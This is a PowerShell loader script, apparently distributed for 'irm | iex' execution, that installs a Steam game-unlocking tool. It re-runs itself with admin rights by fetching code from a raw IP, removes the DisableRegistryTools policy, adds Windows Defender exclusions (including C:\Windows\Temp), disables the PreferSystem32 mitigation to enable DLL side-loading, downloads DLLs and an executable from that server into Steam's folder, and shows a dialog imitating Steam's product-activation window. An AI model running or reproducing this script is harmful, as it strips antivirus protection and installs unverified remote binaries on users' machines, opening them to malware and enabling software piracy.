$ErrorActionPreference = "Stop" $Server = "38.76.201.244" # [1] Admin check if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Start-Process powershell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"irm http://$Server | iex`"" exit } # [2] Remove DisableRegistryTools foreach ($p in @("HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System","HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System")) { if (Test-Path $p) { try { Remove-ItemProperty -Path $p -Name "DisableRegistryTools" -Force } catch {} } } # [3] Get Steam path $SteamPath = (Get-ItemProperty "HKCU:\SOFTWARE\Valve\Steam" -Name SteamPath -ErrorAction Stop).SteamPath $SteamPath = $SteamPath -replace "/","\" $SteamExe = Join-Path $SteamPath "Steam.exe" # [4] Defender exclusions (per file) Add-MpPreference -ExclusionPath $SteamPath -ErrorAction SilentlyContinue $dlFiles = @("dwmapi.dll","OpenSteamTool.dll","xinput1_4.dll","opensteamtool.toml","scdkey.exe","sdko.dll","versions.dll","hid.dll") foreach ($f in $dlFiles) { Add-MpPreference -ExclusionPath (Join-Path $SteamPath $f) -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -ErrorAction SilentlyContinue # [5] Clean old DLLs $delFiles = @("OpenSteamTool.dll","hid.dll","version.dll","xinput1_4.dll","core.exe","Steam.cfg","cons","dwmapi.dll","sdko.dll","versions.dll","GreenLuma0.dll","GreenLuma.dll","DLLInjector.exe","spcrun.exe","DLLInjector_bak.exe","DLLInjector.ini","DLLInjector_bak.txt","NoQuestion.bin") foreach ($f in $delFiles) { $fp = Join-Path $SteamPath $f; if (Test-Path $fp) { Remove-Item $fp -Force -ErrorAction SilentlyContinue } } # Clean old AppList $oldAppList = Join-Path $SteamPath "AppList" if (Test-Path $oldAppList) { Remove-Item $oldAppList -Recurse -Force -ErrorAction SilentlyContinue } # Clean Tencent cache $tcPath = "$env:LOCALAPPDATA\Microsoft\Tencent" if (Test-Path $tcPath) { Remove-Item $tcPath -Recurse -Force -ErrorAction SilentlyContinue } # [6] Kill Steam Get-Process -Name "steam","steamwebhelper","steamservice","steamerrorreporter" -ErrorAction SilentlyContinue | Stop-Process -Force Start-Sleep -Seconds 3 # [7] Set-ProcessMitigation try { Set-ProcessMitigation -Name steam.exe -Disable PreferSystem32 } catch {} # [8] Download ZSteamTool (3 DLLs + config) to Steam root Write-Host "[1/4] Downloading ZSteamTool..." -ForegroundColor Cyan $zipUrl = "http://$Server/klyz/tools/zsteamtools.zip" $zipPath = Join-Path $SteamPath "zst.zip" Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath -UseBasicParsing -TimeoutSec 120 Write-Host "[2/4] Extracting..." -ForegroundColor Cyan Add-Type -AssemblyName System.IO.Compression.FileSystem $zip = [System.IO.Compression.ZipFile]::OpenRead($zipPath) foreach ($entry in $zip.Entries) { $tgt = Join-Path $SteamPath $entry.FullName if ($tgt.EndsWith("\")) { continue } if (Test-Path $tgt) { Remove-Item $tgt -Force -ErrorAction SilentlyContinue } [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $tgt, $true) } $zip.Dispose() Remove-Item $zipPath -Force # Also download scdkey.exe (original .NET activation dialog) $scdkeyDir = Join-Path $SteamPath "bin" New-Item -ItemType Directory -Path $scdkeyDir -Force | Out-Null Invoke-WebRequest -Uri "http://$Server/klyz/tools/scdkey.exe" -OutFile (Join-Path $scdkeyDir "scdkey.exe") -UseBasicParsing -TimeoutSec 60 Write-Host "[2/4] ZSteamTool + scdkey ready" -ForegroundColor Green # [9] DeleteSteamAppCache (if available) $cacheExe = Join-Path $SteamPath "DeleteSteamAppCache.exe" if (Test-Path $cacheExe) { $cp = Start-Process $cacheExe -PassThru; Start-Sleep -Milliseconds 50; try { $cp.Kill() } catch {} } # [10] Run scdkey.exe (original .NET activation dialog) Write-Host "[3/4] Starting activation..." -ForegroundColor Cyan $scdkeyPath = Join-Path $SteamPath "bin\scdkey.exe" if (Test-Path $scdkeyPath) { # Write registry so scdkey + ZSteamTool can communicate (1:1 original protocol) # scdkey writes ActivationCode to HKCU\SOFTWARE\Valve\tools # ZSteamTool (OpenSteamTool.dll) reads it and validates via server $scdProc = Start-Process $scdkeyPath -PassThru $scdProc.WaitForExit() } else { # Fallback: PowerShell WinForms activation dialog Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = New-Object System.Windows.Forms.Form $form.Text = "Steam"; $form.Size = New-Object System.Drawing.Size(500,380); $form.StartPosition = "CenterScreen" $form.FormBorderStyle = "FixedDialog"; $form.MaximizeBox = $false $form.BackColor = [System.Drawing.Color]::FromArgb(30,40,54); $form.ForeColor = [System.Drawing.Color]::White $lt = New-Object System.Windows.Forms.Label; $lt.Text="Enter your product code"; $lt.Location=New-Object System.Drawing.Point(20,15); $lt.Size=New-Object System.Drawing.Size(440,30); $lt.Font=New-Object System.Drawing.Font("Segoe UI",14); $form.Controls.Add($lt) $ld = New-Object System.Windows.Forms.Label; $ld.Text="By entering your code you will be registering your product with Steam."; $ld.Location=New-Object System.Drawing.Point(20,50); $ld.Size=New-Object System.Drawing.Size(440,40); $ld.Font=New-Object System.Drawing.Font("Segoe UI",9); $ld.ForeColor=[System.Drawing.Color]::FromArgb(142,155,170); $form.Controls.Add($ld) $tc = New-Object System.Windows.Forms.TextBox; $tc.Location=New-Object System.Drawing.Point(20,100); $tc.Size=New-Object System.Drawing.Size(440,30); $tc.Font=New-Object System.Drawing.Font("Consolas",14); $tc.BackColor=[System.Drawing.Color]::FromArgb(43,55,72); $tc.ForeColor=[System.Drawing.Color]::White; $tc.CharacterCasing="Upper"; $form.Controls.Add($tc) $le = New-Object System.Windows.Forms.Label; $le.Text="Example: AAAAA-BBBBB-CCCCC-DDDDD-EEEEE"; $le.Location=New-Object System.Drawing.Point(20,135); $le.Size=New-Object System.Drawing.Size(440,30); $le.Font=New-Object System.Drawing.Font("Segoe UI",8); $le.ForeColor=[System.Drawing.Color]::FromArgb(100,110,120); $form.Controls.Add($le) $ls = New-Object System.Windows.Forms.Label; $ls.Text=""; $ls.Location=New-Object System.Drawing.Point(20,180); $ls.Size=New-Object System.Drawing.Size(440,60); $ls.Font=New-Object System.Drawing.Font("Segoe UI",10); $form.Controls.Add($ls) $bc = New-Object System.Windows.Forms.Button; $bc.Text="Confirm"; $bc.Location=New-Object System.Drawing.Point(280,310); $bc.Size=New-Object System.Drawing.Size(90,30); $bc.BackColor=[System.Drawing.Color]::FromArgb(49,108,244); $bc.ForeColor=[System.Drawing.Color]::White; $bc.FlatStyle="Flat"; $form.Controls.Add($bc) $bx = New-Object System.Windows.Forms.Button; $bx.Text="Cancel"; $bx.Location=New-Object System.Drawing.Point(380,310); $bx.Size=New-Object System.Drawing.Size(80,30); $bx.BackColor=[System.Drawing.Color]::FromArgb(60,70,84); $bx.ForeColor=[System.Drawing.Color]::White; $bx.FlatStyle="Flat"; $bx.Add_Click({$form.Close()}); $form.Controls.Add($bx) $bc.Add_Click({ $code=$tc.Text.Trim() if(-not $code){$ls.Text="Please enter a code";$ls.ForeColor=[System.Drawing.Color]::FromArgb(255,100,100);return} $bc.Enabled=$false;$bx.Enabled=$false;$ls.Text="Activating...";$ls.ForeColor=[System.Drawing.Color]::FromArgb(100,180,255);$form.Refresh() try{ $body=@{code=$code;device_id="PS"}|ConvertTo-Json $resp=Invoke-RestMethod -Uri "http://$Server`:9961/api/activate" -Method Post -Body $body -ContentType "application/json" -TimeoutSec 30 # Write registry (1:1 original: HKCU\SOFTWARE\Valve\tools) $rk=[Microsoft.Win32.Registry]::CurrentUser.CreateSubKey("SOFTWARE\Valve\tools") $rk.SetValue("ActivationCode",$code); $rk.SetValue("CodMsg",""); $rk.SetValue("GameName",$resp.name) $rk.SetValue("timestamp",[string][int](Get-Date -UFormat %s)); $rk.Close() # Write Lua config for ZSteamTool (1:1 original: addappid in lua) $luaDir = Join-Path $SteamPath "config\lua" New-Item -ItemType Directory -Path $luaDir -Force | Out-Null $luaContent = "addappid($($resp.app_id))`n" if ($resp.depot_ids) { foreach ($did in $resp.depot_ids -split ",") { $luaContent += "addappid($($did.Trim()), 1)`n" } } Set-Content (Join-Path $luaDir "manifest.lua") $luaContent # Write depot keys to config.vdf if($resp.depot_keys -and $resp.depot_keys.Length -gt 0){ $vdf=Join-Path $SteamPath "config\config.vdf" if(Test-Path $vdf){$v=Get-Content $vdf -Raw;foreach($l in $resp.depot_keys -split "`n"){$ps=$l -split "=",2;if($ps.Length -eq 2){$d=$ps[0].Trim();$k=$ps[1].Trim();if($d -and $k -and -not $v.Contains("`"$d`"")){$i="`n`t`"$d`"`n`t{`n`t`t`"DecryptionKey`"`t`t`"$k`"`n`t}`n";$idx=$v.LastIndexOf("}");if($idx -gt 0){$v=$v.Insert($idx,$i)}}}};Set-Content $vdf $v}} $ls.Text="Success: $($resp.name)";$ls.ForeColor=[System.Drawing.Color]::FromArgb(80,200,120);Start-Sleep -Seconds 3;$form.Close() }catch{$ls.Text="Failed: $_";$ls.ForeColor=[System.Drawing.Color]::FromArgb(255,100,100);$bc.Enabled=$true;$bx.Enabled=$true} }) $tc.Add_KeyDown({if($_.KeyCode -eq "Enter"){$bc.PerformClick()}}) $form.ShowDialog()|Out-Null } # [11] Open Steam activate product page try { Start-Process "steam://open/activateproduct" } catch {} # [12] Launch Steam with -forcesteamupdate Write-Host "[4/4] Starting Steam..." -ForegroundColor Green Start-Process -FilePath $SteamExe -ArgumentList "-forcesteamupdate" -Wait:$false Start-Sleep -Seconds 3 Write-Host "Done" -ForegroundColor Green